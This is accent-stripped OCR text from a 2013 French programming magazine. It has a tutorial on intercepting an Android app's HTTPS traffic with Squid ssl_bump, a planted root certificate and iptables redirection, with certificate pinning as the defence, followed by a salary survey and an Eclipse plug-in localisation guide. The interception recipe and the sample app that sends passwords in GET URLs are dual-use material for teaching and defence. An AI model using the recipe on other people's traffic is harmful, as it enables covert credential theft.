redmarrage, votre connexion rseau ne fonctionne plus, pensez
supprimer ou commenter cette nouvelle interface. On va lactiver
avec la commande ifup :
sudo ifup vnet0
Il faudra galement vrifier que lIP forward est autoris sur la machine en vrifiant son tat par la commande :
cat /proc/sys/net/ipv4/ip_forward
Si cette commande retourne 0, il faudra lactiver en dcommentant
ou en ajoutant la ligne suivante dans le fichier /etc/sysctl.conf :
net.ipv4.ip_forward=1
La modification sera prise en compte avec la commande :
sudo sysctl -p
Enfin, il nous reste configurer dnsmasq. Cet outil servira de serveur DHCP et relaiera les requtes DNS depuis notre interface. On
va donc lui ajouter une configuration pour VirtualBox, en crant le
fichier /etc/dnsmasq.d/virtualbox :
interface=vnet0
domain-needed
dhcp-range=172.16.0.2,172.16.0.254,1h
bind-interfaces
except-interface=lo
La dernire ligne permettra dviter dventuels conflits avec Network Manager, qui utilise lui-aussi dnsmasq. On dmarre ensuite
notre dnsmasq :
sudo service dnsmasq start
Nous pouvons maintenant configurer notre machine virtuelle
AndroVM et la dmarrer. La configuration par dfaut utilise un autre

< 47 >

MAI

2013

34-50

20/04/13

01:42

Page 48

i hacking
mode pour la connexion rseau, nous allons donc la modifier et choisir comme mode daccs rseau un Accs par pont et notre interface vnet0. Notez quavec AndroVM, cest la carte 2 quil faudra
configurer. Une fois cela fait, il suffit de lancer la machine virtuelle.
On peut voir dans les paramtres ladresse IP qui lui a t attribue
(normalement 172.16.0.254 avec la configuration ci-dessus). Un
rapide test avec le navigateur va nous permettre de vrifier que tout
fonctionne correctement, et quil est possible daccder Internet
depuis la machine virtuelle [Fig.1].
Que peut-on faire avec cette machine virtuelle ? Le fait davoir une
interface rseau ddie va tout dabord grandement simplifier la
capture du trafic rseau avec des outils tels que tcpdump ou Wireshark. Mais surtout, il va devenir possible de jouer avec iptables afin
de rediriger loisir le trafic rseau.
On pourra par exemple simuler la panne dun serveur en droppant
tous les paquets qui lui sont destins :

Fig.1

sudo iptables -A FORWARD -i vnet0 -p tcp -d 92.42.13.37 --dport


80 -j DROP

> Capturer le trafic HTTPS avec Squid


Une connexion crypte, suffisante pour scuriser un change de
donnes ? Pas vraiment : on va voir comment il est possible de se
mettre entre un client et un serveur. Pour cela, nous allons crer
une petite application Android qui effectuera un simple login sur un
serveur. Les dernires versions du plugin ADT pour Eclipse nous
offrent un exemple dactivit avec les champs login/mot de passe,
nous allons donc crer un projet Android vide, puis une activit de
login avec :
File > New > Android > Android Application Project
File > New > Android > Android Activity [Fig.2].
Le code de linterface tant dj l, il ne reste plus qu ajouter la
connexion au serveur en modifiant la mthode doInBackground la
fin du fichier :
@Override
protected Boolean doInBackground(Void... params) {
DefaultHttpClient client = new DefaultHttpClient();
try {
HttpGet request =
new HttpGet("https://myserver.com/?login=" + mEmail
+ "&password=" + mPassword);
HttpResponse response = client.execute(request);

de voir plus facilement passer les logins et mots de passe dans les
logs de Squid, mais une requte en POST ne sera pas plus scurise
pour autant. On configure ensuite Squid, afin quil agisse comme un
proxy transparent entre le serveur et le client. Depuis la version 3.1,
celui-ci propose loption ssl_bump, qui permet de forger la vole
des certificats afin dusurper lidentit du serveur. Nous allons avoir
besoin pour cela dun certificat racine, quil est possible de gnrer
avec OpenSSL :
openssl req -new -newkey rsa:1024 -days 365 -nodes -x509 keyout monca.pem -out monca.pem
Par dfaut, notre client Android nacceptera pas de connexions si le
certificat nest pas sign par une autorit reconnue. Lattaque reste
cependant possible dans deux cas :
Si un des certificats racines, prenregistrs par le systme, ou un
certificat qui en serait issu, se retrouve entre les mains dune personne mal intentionne. Si ce cas de figure reste en pratique trs
rare, il nest pas exclure.
Si un autre certificat racine se retrouve install sur le tlphone,
linsu ou non de son propritaire. Nimporte qui peut facilement installer sur son propre tlphone un certificat, ce qui ne lui sera pas
utile pour rcuprer ses propres identifiants de connexions, mais
permettra par contre de capturer en clair le trafic rseau dune
application. Certains dveloppeurs utilisent par exemple une API
serveur quils prfrent conserver secrte, et utilisent pour cela
une connexion chiffre.

if (response.getStatusLine().getStatusCode() == 200) {
return true;
}
} catch (ClientProtocolException e) {
Log.d(MYAPP, ClientProtocolException + e);
} catch (IOException e) {
Log.d(MYAPP, IOException + e);
}
return false;
}
On suppose ici que le serveur rpondra par une erreur 403 en cas
derreur dauthentification. La requte est effectue ici en GET, afin

PROgrammez !

Fig.2

Faute dun certificat racine notre disposition, nous allons donc


importer dans lmulateur le certificat racine cr.

< 48 >

MAI

2013

34-50

20/04/13

01:42

Page 49

i hacking
Cette option se trouve dans la section Scurit des paramtres
Android et se nomme Installer depuis la mmoire. Il faut pour cela
placer le certificat au format DER sur le tlphone. On va donc
convertir notre fichier .pem et le pousser sur lmulateur :
openssl x509 -in monca.pem -outform DER -out monca.der
adb push monca.der /mnt/sdcard
Puis effectuer limport dans les paramtres Android. On peut ensuite configurer Squid pour configurer loption ssl_bump dans le
fichier /etc/squid3/squid.conf en ajoutant les lignes suivantes :
https_port 3129 intercept ssl-bump generate-host-certificates
=on dynamic_cert_mem_cache_size=4MB cert=/etc/squid3/monca.pem

Avec cette option active, Squid ira interroger le serveur de destination avant de gnrer le certificat, afin dobtenir son nom de domaine. En refaisant le test prcdent dans un navigateur sur le client,
on constate alors que cette fois, nous navons plus davertissement
quant linvalidit du certificat : [Fig.5].
En tentant la connexion depuis notre application, la requte apparat
cette fois dans le fichier de logs de Squid (par dfaut dans
/var/log/squid3/access.log), qui la correctement relaye, et lutilisateur na aucun moyen de savoir quil est pass par le proxy :
1364492113.442686 172.16.0.254 TCP_MISS/200 281 GET https://my
server.com/?login=me@provider.com&password=pass - PINNED/92.42.
13.37 text/html

> Protger son application


contre les faux certificats

always_direct allow all


ssl_bump allow all
sslproxy_cert_error allow all
sslproxy_flags DONT_VERIFY_PEER
strip_query_terms off
La premire ligne permet dactiver linterception sur le port 3129,
loption cert prcisant le certificat racine utiliser. Loption
strip_query_terms off sera utile afin de voir les paramtres passs
en GET dans les logs. Une simple entre ajoute au firewall iptables
va permettre de rediriger le trafic depuis lmulateur vers le proxy :
sudo iptables -t nat -A PREROUTING -i vnet0 -p tcp --dport 443
-j DNAT --to-destination 172.16.0.1:3129
[Fig.3]
Lanons lapplication cre et tablissons une connexion dans laquelle on passera un login et un mot de passe : la connexion ne fonctionne pas. Il y a en effet une limitation : le certificat gnr la vole par
Squid ne contient pas le nom de domaine de destination, ce qui permet dalerter lutilisateur lors dune connexion. On pourra le vrifier
en tentant une connexion HTTPS depuis le navigateur : [Fig.4].
La raison est simple : lorsque le client tente de se connecter au serveur, le nom de domaine de celui-ci est encrypt dans le paquet. Au
moment o le proxy intercepte la connexion, il ne peut pas connatre
ce nom de domaine et doit gnrer un certificat sans.
Mais partir de la version 3.3 de Squid, il existe une solution avec
loption server-first. Cette version est stable, mais pas toujours prsente dans les distributions Linux, et il sera peut-tre ncessaire de
la compiler manuellement. Une fois fait, on remplace la ligne de configuration suivante :

Face cette attaque, que peut faire le dveloppeur ? La solution


sappelle certificate pinning, quon pourrait traduire par empreinte
de certificat. Elle consiste conserver au sein de lapplication la
signature, soit du certificat directement, soit du certificat racine. Le
choix du certificat racine peut tre intressant car il a gnralement
une dure de validit plus longue que le certificat du serveur. Linconvnient de cette mthode est en effet quil faudra procder une
mise jour de lapplication avant lexpiration du certificat marqu.
Afin de vrifier lauthenticit du certificat, nous allons crer notre
propre classe implmentant X509HostnameVerifier.
Cette interface fait partie de la librairie Apache HttpComponents
Client, que lon retrouve sous Android, mais qui peut galement tre
utilise dans dautres projets Java.
Cette librairie fournit la classe AbstractVerifier ainsi que plusieurs
implmentations, celle utilise par dfaut tant BrowserCompatHostnameVerifier.
Malheureusement, hriter cette classe ne nous permettra pas de
surcharger la mthode qui nous intresse. Plutt que de tout rcrire et afin de conserver tout de mme le code existant, nous allons
plutt encapsuler linstance dj prsente dans une autre.
public class CustomHostnameVerifier implements X509Hostname
Verifier {

ssl_bump allow all


par :
ssl_bump server-first all

Fig.3

PROgrammez !

Fig.4

< 49 >

MAI

Fig.5

2013

34-50

20/04/13

01:42

Page 50

i hacking
protected X509HostnameVerifier parentVerifier;
private static final String SIGNATURE = "844ddee3908c032604f1
9e38af90f9a3";
public CustomHostnameVerifier(X509HostnameVerifier parent) {
if (parent instanceof CustomHostnameVerifier) {
parentVerifier = ((CustomHostnameVerifier) parent).parent
Verifier;
} else {
parentVerifier = parent;
}
}
@Override
public void verify(String host, String[] cns, String[] subjectAlts)
throws SSLException {
parentVerifier.verify(host, cns, subjectAlts);
}
@Override
public void verify(String host, X509Certificate cert) throws
SSLException {
parentVerifier.verify(host, cert);
}
@Override
public boolean verify(String host, SSLSession session) {
return parentVerifier.verify(host, session);
}
@Override
public void verify(String host, SSLSocket ssl) throws IOException {
parentVerifier.verify(host, ssl);

}
}
Dans le constructeur, la vrification du type de verifier permet dviter une encapsulation rcursive : si on attache le HostnameVerifier
de notre HttpClient plus dune fois, on risque davoir un CustomHostnameVerifier dans un CustomHostnameVerifier... ce qui risque de
finir en une norme chane qui va saturer la mmoire.
Notre classe va appeler pour chaque mthode celle dfinie dans
parentVerifier, ce qui nous permet de conserver toutes les vrifications de certificat existantes. Nous avons juste ajout dans la dernire la vrification du hash MD5 du certificat, compar avec celui
prdfini dans le code. Ici, cest le certificat racine que nous avons
choisi de vrifier, mais nous pouvons aussi vrifier le certificat du
serveur directement, celui-ci tant le premier lment du tableau.
Pour utiliser cette classe comme vrificateur de certificat, il suffit
alors de lattacher notre client HTTP en ajoutant quelques lignes
aprs linitialisation de celui-ci :
DefaultHttpClient client = new DefaultHttpClient();
SSLSocketFactory sslSocketFactory = (SSLSocketFactory) client.get
ConnectionManager().getSchemeRegistry().getScheme("https").get
SocketFactory();
X509HostnameVerifier verifier = sslSocketFactory.getHostname
Verifier();
sslSocketFactory.setHostnameVerifier(new CustomHostnameVerifier
(verifier));

SSLSession session = ssl.getSession();


Certificate[] certs;
try {
certs = session.getPeerCertificates();
} catch (SSLPeerUnverifiedException e) {
throw new SSLException("SSLPeerUnverifiedException", e);
}
// X509Certificate serverCert = (X509Certificate)certs[0];
X509Certificate rootCert = (X509Certificate) certs[certs.
length - 1];
String md5 = md5(rootCert.getSignature());
if (!SIGNATURE.equals(md5)) {
throw new SSLException("Wrong signature received : " + md5);
}
}
public final String md5(final byte[] b) {
try {
MessageDigest digest = MessageDigest.getInstance("MD5");
if (digest != null) {

PROgrammez !

digest.reset();
digest.update(b, 0, b.length);
return new BigInteger(1, digest.digest()).toString(16);
} else {
return "";
}
} catch (NoSuchAlgorithmException e) {
Log.e(MYAPP, No MD5 algorithm);
}
return "";

Cette initialisation doit tre faite une seule fois, aprs la cration du
DefaultHttpClient. Ainsi, lorsque sera tente la connexion au serveur, nous verrons dans les logs de lapplication lerreur suivante :
E/MYAPP ( 1796): IOException javax.net.ssl.SSLException: Wrong
signature received : 80ecee8f4ca0da7cbbf42ad11e5209ae
Nous avons vu en quoi une connexion crypte peut tre attaque, ce
qui donne dautant plus dimportance la chane de confiance instaure par les autorits de certification.
Noublions jamais quaucune scurit ne peut tre considre
comme totalement fiable, et que toute protection supplmentaire
est bonne prendre. Si en pratique, le risque quun utilisateur subisse cette attaque sans le savoir est faible, elle est en revanche trs
facile reproduire pour quelquun qui voudrait observer en dtail la
communication entre une application et un serveur. Une bonne
faon aussi pour nous de voir quelles informations indiscrtes sont
souvent remontes notre insu par ces milliers dapplications pas
toujours transparentes.
# Lo Cacheux
Dveloppeur Android chez Genymobile

< 50 >

MAI

2013

51-54

20/04/13

00:27

Page 51

i carrire

Les vrais salaires des dveloppeurs


Nous vous rendons compte rgulirement des
salaires dans le monde informatique : testeurs,
ingnieurs, mtiers du web ou du jeu, etc.
Ce mois-ci, nous avons voulu aller
plus loin et faire une
synthse, avec quelques
surprises selon le
type dentreprise,
mais aussi de
proposer notre
enqute auprs
dune dizaine de
SSII de toutes
tailles. Les fourchettes de
salaires, notamment pour le dveloppeur, sont,
peu ou prou, proches de ce que lon constate
sur le terrain.
> Une grande disparit selon lexprience
et le type de mtier
Le cabinet Hays a sorti son tude de rmunration nationale 2013
et la partie informatique / IT rvle des lments intressants. Tout
dabord, que les SSII subissent une baisse dactivit, mme si ces
entreprises de services sont toujours la recherche de profils techniques, tout niveau, tout diplme. Mais Hays pointe du doigt des
changements de mthodes de recrutement : plus dentretiens, plus
de rfrences auprs des anciens employeurs, ou alors, par cooptation. Quant aux salaires, ltude montre une stagnation. Mais les
profils haut de gamme, trs expriments peuvent prendre des
risques. Sur les profils, ltude met en avant : Java, PHP (backend),
.Net, Objective-C, C et C++. Bref, du classique.

Mtier
Analyste-programmeur
Dveloppeur (ingnieur)
Ingnieur qualit / mthode
Chef de projet tude / dv.
Architecte (tude / dv.)
Directeur technique (tude /dv.)
DBA
Ingnieur rseau
Directeur informatique
Consultant ERP

0-2 ans

2-5 ans

5-10 ans

> 10 ans

25/30
40
30/33
38
30/35
32/36
-

30/35
45/50
33/38
38/45
45
35/45
36/44
35/42

35/40
55/65
38/42
45/55
55/65
65/75
45/60
44/48
60/80
45/60

40/45
65/75
42/45
55/60
65/75
80/100
60/70
48/53
80/100
60/75

Et Londres,
on gagne combien ?
Ltude Robert Walters est, rappelons-le, mondiale. Prenons
par exemple les salaires annuels sur Londres.

Dans le secteur commerce / industrie Salaire en (2013)


Dveloppeur base de donnes

40-70

Dveloppeur C#

40-65

Dveloppeur PHP

30-50

Dveloppeur Java

45-65

Dans le secteur bancaire

55-85

Dveloppeur .net

55-90

Dveloppeur C++

55-90

Dveloppeur Java

55-90

On peut constater une variabilit sur les salaires dveloppeurs


dans le secteur du commerce / industrie, par contre, dans le
secteur bancaire, il est homogne et plus lev que dans le premier cas. Cela montre aussi que le dveloppeur est considr
et quil est parfaitement identifi.

Salaire annuel moyen brut, en


PROgrammez !

Salaire en (2013)

Dveloppeur base de donnes

< 51 >

MAI

2013

51-54

20/04/13

00:28

Page 52

i carrire
Dans le mme esprit, le cabinet Robert Walters a publi une norme tude sur les rmunrations au niveau mondial ! Outre son
approche trs globale, elle fournit aussi une vue sur plusieurs
grandes villes franaises.

Mtier
Ingnieur dveloppement /
dba / rseau

5-8 ans

8-15 ans

> 15 ans

40/50

50/90

50/90

85/140

+130

75/95

+100

Directeur technique
Spcialiste scurit

60/75

Salaire moyen, en k pour 2013


Pour un dveloppeur confirm, la fourchette Walter est lgrement
infrieure ce que nous pouvons voir ailleurs, mais en revanche le
haut de la fourchette est suprieur, et on note une stagnation audel de 15 ans. L, les primes, lintressement peuvent jouer un
rle de motivation. Par rapport 2012, pas dvolution. Par contre,
on constate une disparit assez importante pour le poste de directeur technique (voir tude Hays). Le spcialiste scurit a un salaire
plus lev, mais son primtre est plus large et sensible.

ENQUTE PROGRAMMEZ !

Des variables
difficiles comparer
Une dizaine de SSII, totalisant un
effectif total dun millier de salaris
dans le secteur du dveloppement,
ont accept de rpondre notre
questionnaire.
Les salaires incluent souvent en complment une partie variable
individuelle tous les consultants , nous a prcis Carl Azoury,
PDG dune SSII du panel, Zenika. Cette partie variable est directement lie son rsultat et reprsente en moyenne 4 000 euros
brut par an ajoute-t-il. Certaines entreprises ont pu inclure des
variables dans leur moyenne de salaires, dautres non.

> Les ingnieurs dveloppeurs :


29 % des effectifs

> La taille et le type de SSII ont


une forte importance

LAfdel, avec Apollo, a dit un baromtre RH. Ce baromtre se


base sur un panel reprsentatif de 50 diteurs logiciels (soit
+13 000 salaris). Pour lAfdel, il y a une contraction du march de
lemploi dans notre secteur.

La rmunration parat inversement proportionnelle la taille de


lentreprise. Une SSII importante nous indique un salaire moyen de
28 000 pour un dveloppeur alors que la moyenne de notre
tableau est de 34 280 .
Le dveloppeur dbutant (0 2 ans) percevra une rmunration
dans une fourchette de 32 500 39 000 dans une SSII de
moins de 100 personnes, 25 000 30 000 dans une plus
grosse socit.

Qui est donc linformaticien moyen en France : il est g de 36 ans,


a + de 6 ans danciennet. 27 % sont des femmes. Presque 20 %
ont plus de 45 ans.
Et surtout, les dveloppeurs (niveau ingnieur) psent 29 % des
effectifs ! Le turn-over est finalement assez faible : 10 %.
Et sans surprise, la rgion Ile de France pse 60 % des effectifs
franais.
Ltude fournit le salaire dun ingnieur dveloppement (salaire maxi) :
72 623 sur Paris
60 287 en Province
Il sagit dun maximum. Sinon, le salaire de dpart est plus lev
chez un diteur quen SSII (env. 36-35 k).
Une autre tude (Syntec numrique), 2e dition Top 250 panorama des diteurs et crateurs de logiciels franais (septembre
2012) montre clairement quun des lments motivants pour garder un dveloppeur, un collaborateur reste le salaire et les primes.
Mais le positionnement socital de lentreprise peut tre un autre
facteur.
Pour un dveloppeur open source, plus la socit adopte les usages
et la philosophie du Libre et mieux il se sentira

Mais notre panel inclut plusieurs socit de services de taille petite ou moyenne (moins de 100 personnes), souvent assez spcialises et la recherche de profils assez pointus. Dans notre
chantillon, une socit de conseils, avec un type de mission
base sur le conseil et lexpertise rmunre ses dveloppeurs
dbutants 39 000 par an.

> Le prix des diplmes


Certains employeurs nous ont prcis limpact des diplmes sur
les rmunrations.
Ainsi, une SSII indique :
Dveloppeur junior (0-2 ans dexprience) aura un salaire dun
tiers suprieur avec un bac+5 :

Bac +3 : 25 000 annuel


Bac +5 : 33 000 annuel
Et un Chef de projet junior bnficiera dune rmunration de 10%
suprieure :

Bac +3 : 30 000 annuel


Bac +5 : 33 000 annuel

# Franois Tonic

PROgrammez !

< 52 >

MAI

2013

51-54

20/04/13

00:28

Page 53

51-54

20/04/13

00:28

Page 54

i carrire
> Province : -10% -12%,
Rgions
sauf sur certains profils, plus rares ?
Cela ntonnera personne : les salaires sont moindres en rgion. Les
entreprises profitent-elles du fait que la concurrence est moindre,
par rapport la rgion parisienne. Il est vrai aussi que le cot de la
vie est gnralement plus bas.
Paradoxalement, notre panel pointe des profils qui seront parfois
mieux pays en province qu Paris. Cest ce qui ressort par exemple
pour les intgrateurs web et les administrateurs systmes/rseau

SALAIRE
annuel moyen (en )
Paris - Ile de France

Exprience

0-2 ans

2-5 ans

> 5 ans

Dveloppeur

26 633

34 000

36 000

Architecte

33 000

37 000

40 000

Chef de projet

34 000

38 000

42 000

Intgrateur Web

32 000

36 000

39 000

Graphistes/designers
Ingnieur /admin Systme/ Rseau

30 000

32 000

35 000

Les meilleurs
SALAIRES (en )

0-2 ans

2-5 ans

> 5 ans

Dveloppeur

34 280

38 857

46 015

0-2 ans

2-5 ans

> 5 ans

Architecte

35 000

43 500

55 540

Dveloppeur

39 000

44 000

49 000

Chef de projet

37 040

42 625

58 895

Architecte

35 000

45 000

63 000

Intgrateur Web

30 000

36 750

37 500

Chef de projet

43 000

69 000

76 000

Graphistes/designers

29 000

36 000

38 368

Intgrateur Web

34 000

41 000

42 000

43 125

Graphistes/designers

30 000

38 000

42 000

Ingnieur /admin Systme/ Rseau

31 000

37 000

50 000

0-2 ans

2-5 ans

> 5 ans

Dveloppeur

35 000

40 000

43 000

Architecte

33 000

40 000

52 000

Chef de projet

38 000

47 000

50 000

Intgrateur Web

33 000

36 000

39 000

Graphistes/designers
Ingnieur /admin Systme/ Rseau

30 000

32 000

35 000

Ingnieur /admin Systme/ Rseau

28 500

34 748

Paris - Ile de France

Rgions
0-2 ans

2-5ans

> 5ans

Dveloppeur

30 741

33 659

39 264

Architecte

33 000

38 694

51 960

Chef de projet

36 227

42 194

Intgrateur Web

32 000

36 000

Graphistes/designers
Ingnieur /admin Systme/ Rseau

30 000

31 250

33 947
35 000

SALAIRES minima
Attention : notre chantillon ne prtend pas la vrit scientifique.
Les chiffres minima sont ceux issus de ces questionnaires.
Ne refusez pas ncessairement un poste s il est plus bas que ces
chiffres !

Les SALAIRES
les plus bas
de notre panel

(en )

Paris - Ile de France

0-2 ans

Exprience

Rgions

Chefs et
directeurs de projets
Une SSII regroupant plus de 200 salaris dans la rgion parisienne
nous a indiqu ses salaires moyens de chefs et directeurs de
projets. Cela ntonnera personne, un directeur de projets bnficie
dune rmunration plus confortable : plus de 69 000 .

Exprience

2-5 ans

> 5 ans

Moyenne Chef de Projets Web

45 504

Moyenne Chef de Projets

50 141

Moyenne Chef de Projets Junior

52 008

Moyenne Chef de Projets Snior

53 598

Dveloppeur

25 000

34 000

39 000

Architecte

35 000

40 000

43 000

Chef de projet

31 500

38 000

45 000

Moyenne Chef de Projets Technique

50 426

Intgrateur Web

24 000

30 000

37 000

Moyenne Chef de Projets Web

37 967

Graphistes/designers

29 000

34 000

35 000

Moyenne Directeur de Projets

Ingnieur /admin Systme/ Rseau

28 000

33 000

36 000

69 329
(en )

# Jean Kaminsky

Carrires et emplois sur programmez.com


www.programmez.com/emploi.php
PROgrammez !

< 54 >

MAI

2013

55-58

20/04/13

00:30

Page 55

i je dbute avec...

Dmystifier le dveloppement
des plug-ins dEclipse (suite & fin)
Nous allons dans cette dernire partie parcourir rapidement deux aspects importants
pour les dveloppements des plug-ins, linternationalisation et le dploiement.
INTERNATIONALISATION
(INTERNATIONALIZATION) I18N
Java et Eclipse sont dots doutils puissants pour adapter un programme ou plug-in pour des langues diffrentes Pour toutes les oprations touchant linternationalisation, nous allons utiliser des
fragments de plug-in (plug-in fragment), comme un service de
langue. Le rsultat final de linternationalisation dans cette section
est davoir le plug-in utilisable la fois en anglais et en franais.

> Que traduire dans un projet plug-in


Dans le fichier plugin.xml on peut utiliser des cls, sous la
forme%nom_cle, dont les valeurs sont dfinies en diffrentes
langues dans des fichiers nomms obligatoirement plugin.properties, et plugin_xx.properties (xx est liso dune langue, par exemple
plugin_fr.properties). Cette mthode est utilise pour traduire les
noms des fentres (vue) et les catgories de cheat sheets par
exemple.
Les titres de buttons, labels, etc. Les noms internationaliss sont
crits dans des fichiers .properties au lieu de les coder en dur.
Eclipse automatise cette opration avec Externalize Strings
wizard
Les fichiers traduits (textes, ressources), comme par exemple des
cheat sheets, fichiers html, sont ajouts en utilisant un fragment(s) de plug-in dans un dossier spcial nomm nl/iso_language (dossier nl/fr pour les fichiers en franais, nl/de pour les
fichiers en allemand,...). Et portent les mmes noms que les originaux. Eclipse distingue un fichier selon la langue en utilisant un prfixe spcial $nl$ avant son nom.

> O mettre les fichiers internationaliss


Les fichiers originaux et traduits .properties sont dans le plug-in, et
le fragment dans un endroit identique. Les fragments copient exactement la structure du plug-in. Si par exemple, plugin.properties

et messages.properties sont dans un package dans le plug-in, les


versions internationalises doivent tre dans le mme packcage
dans le fragment.
Pour les ressources cest pareil, (cheatsheets,html,images), les
versions internationalises dans le fragment sont sous le dossier
nl/iso_langue. Par exemple, si les cheat sheets sont dans le plugin dans le dossier resources, le fragment doit aussi avoir un dossier nl/fr/resources pour les cheat sheets en franais.
Rappel :
Les fichiers contenant les cls du plugin.xml, doivent tre nomms
plugin.properties et plugin_xx.properties

> Activer linternationalisation


Ajoutez linstruction Bundle-Localization: plugin dans le fichier
MANIFEST.MF [Fig.1].

> Internationalisation des noms dans plugin.xml


Nous allons remplacer le nom de la view (vue, fentre) par une cl
Au lieu dutiliser un nom cod en dur, Nous allons utiliser le symbole
du pourcentage % avec une cl. La valeur de la cl est dfinie
dans plugin.properties et plugin_xx.properties.
Note : Dans lexemple langlais est utilis par dfaut. Attention
pour les caractres spciaux, il faut utiliser lUnicode.

Fichier

Cl

plugin.xml
plugin.properties
plugin_fr.properties

Cl=valeur

%browserView
browserView=Visual XPath View
browserView=Visual XPath Fen\u00EAtre

> Comment tester le plug-in dans


diffrentes langues
Eclipse utilise par dfaut la langue du systme dexploitation, mais il
est possible de crer une configuration dexcution par langue. Nous
allons crer ici une configuration dexcution en franais (si le systme utilise langlais) ou vice-versa.

> Crer une configuration dexcution

Fig.1

Activer linternationalisation

PROgrammez !

Dans le projet du plug-in > un clic droit sur META-INF/MANIFEST.MF -> Slectionnez Run As -> Run Configurations. Slectionnez Eclipse Application -> Cliquez sur licne New launch
configuration. Dans Name (1) donnez un nom associ la langue
utilise. (2) Dans longlet Arguments > rubrique Program arguments, Notez que -nl ${target.nl} signifie simplement langue par
dfaut -nl = langue et ${target.nl} = de la cible (OS).
Modifiez la clause -nl, pour devenir -nl fr (en franais), ou nl en (en
anglais), etc. Click on Apply [Fig.2].

< 55 >

MAI

2013

55-58

20/04/13

00:30

Page 56

i je dbute avec...
> Tester le plug-in
Dans Project Explorer -> clic droit sur MANIFEST.MF -> Run As ->
Eclipse Application
Une bote de dialogue souvre, permettant de slectionner la configuration dexcution (en franais ou en anglais ou autres langues possdant une configuration dexcution) [Fig.3].

> Lassistant Externalize Strings.


La seconde tape dans le processus dinternationalisation est de
mettre lensemble de chanes de caractres de code, dans des
fichiers .properties.
Eclipse dispose dun outil puissant pour effectuer cette tche. Il analyse les fichiers sources, et permet de transformer les chanes de
caractres, en cls, sauvegardes avec leurs valeurs dans des
fichiers .properties. Il permet de crer une classe pour laccs aux
ressources. Un des avantages majeurs de cet outil est de pouvoir
mmoriser les chanes traduisibles ou non pour les versions futures
dun plug-in.

> Appeler lassistant


Clic droit sur le nom dun projet, ou un paquet (package) ou un fichier
.java dans Project Explorer > Source -> Externalize Strings. Lassistant prend des fichiers .java, un par un (si plusieurs). Un clic sur
Externalize
Il est possible de :
1. Modifier le prfixe utilis avec les cls
2. Marquer des chanes non traduisibles avec Ignore (pour cette
version et les versions futures). Un commentaire est ajout

//$NON-NLS-1$ la fin dune chane ignore (marque, comme


non traduisible)
3. Modifier une cl Key (si vous ne voulez pas utiliser des chiffres
avec un prfixe)
4. Personnaliser la classe daccession et les fichiers .properties
(Configure ouvre un dialogue de personnalisation. Cliquez sur OK
la fin de la personnalisation)
Un clic sur Next termine lexternalisation de chanes pour la classe
courante [Fig.4]. Un autre clic sur Next permet de voir les modifications. Finish pour les excuter.

> Modifications effectues par lassistant


dexternalisation de chanes de caractres.
1. Cration dune classe Messages.java
2. Modification au niveau de fichiers source. Le dialogue prsente
les chanes modifier avec des dtails.
3. Cration dun fichier contenant les cls, pour remplacer les
chanes codes en dur messages.properties
Un clic sur Finish pour accepter les modifications et lancer lexcution de lassistant [Fig.5].

> Ajouter des fichiers traduits


messages_xx.properties
Le fichier initial a t fourni par lassistant, il nous reste fournir des
fichiers traduits, pour chaque langue dsire. En utilisant des caractres Unicode si besoin. Par exemple :

Fig.2

Crer une configuration dexcution

Fig.4

Lassistant dexternalisation

Fig.3

Tester le plug-in en diffrentes langues

Fig.5

Modifications effectues par lassistant


PROgrammez !

< 56 >

MAI

2013

55-58

20/04/13

00:30

Page 57

i je dbute avec...
messages.properties (fichier gnr automatiquement)
BrowserView_evaluate=evaluate
BrowserView_selectFile=select file

Un clic sur Browse pour slectionner lID du plug-in ( qui appartient


le fragment). Dans le Rubrique Host Plug-in [Fig.6]. Minimum Version
est ajoute automatiquement (vous pouvez la modifier).
Il est possible dajouter une Maximum Version.
Un clic sur Finish ouvre lditeur du MANIFEST.MF de fragment.

messages_fr.properties
BrowserView_evaluate=\u00E9valuate
BrowserView_selectFile=choisir un fichier

> La structure du fragment et son contenu

LE FRAGMENT DU PLUG-IN
Un fragment de plug-in est un composant rutilisable. Il permet de
complter un plug-in. Au moment de lexcution (runtime), La plateforme Eclipse trouve et fusionne le plug-in avec ses fragments. Un plug-in
a accs ses fragments via sa classloader. Un fragment peut contenir du code et des ressources. Les ressources internationalises sont
mises dans un emplacement spcifique du fragment. En utilisant des
fragments, on fabrique des services de langues pour les plug-ins.

> Crer un projet pour le fragment.


(Plug-in fragment project)
Slectionnez dans le menu File -> New -> Project -> Plug-in Development -> Fragment Project (ou directement, si vous tes dans la
perspective Plug-in Development File -> New -> Fragment Project)
Ensuite un clic sur Next
Donnez un nom au projet. Normalement et par convention, on donne
le mme nom utilis pour le projet du plug-in, en ajoutant un suffixe
.nl+un chiffre (par exemple .nl1, pour le service langue 1)
Pour un plug-in dont lID est :
com.java_javafx.ka.templates.java.xml.templates_and_cheatsheets

Dans le dossier src, du fragment, on va copier la mme structure


du plug-in. Le mme paquet contenant plugin.properties et messages.properties(package) est utilis. Transfrez les fichiers plugin_fr.properties et messages_fr.properties dans leur dossier de
destination dans le fragment (les fichiers traduits).
On doit crer un dossier nl la racine du fragment (pour les
fichiers traduits). Ce dossier contiendra les ressources traduites,
dans nimporte quelle langue, chacune sous son propre dossier. Le
dossier de chaque langue doit tre nomm, en utilisant ses lettres
iso, en minuscules (en pour langlais, fr pour le franais, de pour
lallemand, etc.). Les fichiers portent les mmes noms que les
fichiers originaux dans le plug-in [Fig.7].
Il faut indiquer Eclipse dutiliser des fichiers internationaliss pour
les cheatsheets, templates, etc. En prfixant le nom du fichier (le
chemin complet) par $nl$ [Fig.8].
Continuez ainsi pour lensemble de ressources pour terminer linternationalisation. Aprs le dploiement, Eclipse trouve le plug-in et ses
fragments sans intervention de lutilisateur. Vous pouvez tout
moment tester le plug-in avec Clic droit sur MANIFEST.MF -> Run
As -> Eclipse Application -> slectionnez la configuration avec la
langue dsire.

Le nom du fragment est :


com.java_javafx.ka.templates.java.xml.templates_and_cheatsheets.nl1
Un clic sur Next
Note : Le nom du fragment va devenir son ID
Ajouter un suffixe nest pas obligatoire, mais permet de
distinguer des fragments, contenant des services de
langues.
Entrez :
1. La Version du plug-in
2. Un nom Name (pour les humains)
3. Le nom du dveloppeur (ou entreprise)

Fig.7

Structure dun fragment

Fig.6

Fragment du plug-in

Fig.8

Prfixez le nom dun fichier par $nl$


PROgrammez !

< 57 >

MAI

2013

55-58

20/04/13

00:30

Page 58

i je dbute avec...
LE DPLOIEMENT
> Prparer le plug-in et le fragment pour
le dploiement.
Nous allons conditionner le plug-in et son fragment sous forme dun
fichier .jar. Cette tape est ncessaire, pour dployer le plug-in dans
une installation relle dEclipse.

> On vrifie dabord les composants exporter


